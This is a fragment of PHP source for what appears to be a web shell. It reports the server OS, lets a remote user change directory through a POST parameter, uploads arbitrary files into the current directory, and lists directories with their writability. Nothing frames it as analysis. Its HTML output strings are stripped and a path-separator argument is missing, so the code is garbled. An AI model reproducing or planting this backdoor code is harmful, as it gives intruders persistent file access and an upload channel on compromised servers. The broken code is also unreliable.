";
echo PHP_OS;
if(strtoupper(substr(PHP_OS, 0, 3) ) == "WIN")
$os = 'win';
else
$os = 'nix';
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("", "/", $home_cwd);
$cwd = str_replace("", "/", $cwd);
echo "";
echo "";
}
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode) {
echo "n";
echo "n";
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
echo "Path: ".htmlspecialchars($cwd)." ";
if (!is_writable($cwd)) {
echo "(Not writable) ";
}
if($_POST['p1'] === 'uploadFile') {
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name']))
echo "Can't upload! ";
}
$ls = wscandir($cwd);
echo "";
foreach ($ls as $f) {
if (is_dir($f)) {
echo "".$f." ";
if (is_writable($cwd.$f)) {
echo " ";
} else {
echo " ";
}
echo " ";
} else {
$files[] = $f;
}
}
foreach ($files as $file) {
echo $file." ";
}
echo " ";
function wscandir($cwdir) {
if(function_exists("scandir")) {
return scandir($cwdir);
} else {
$cwdh = opendir($cwdir);
while (false !== ($filename = readdir($cwdh)))
$files[] = $filename;
return $files;
}
}
echo "";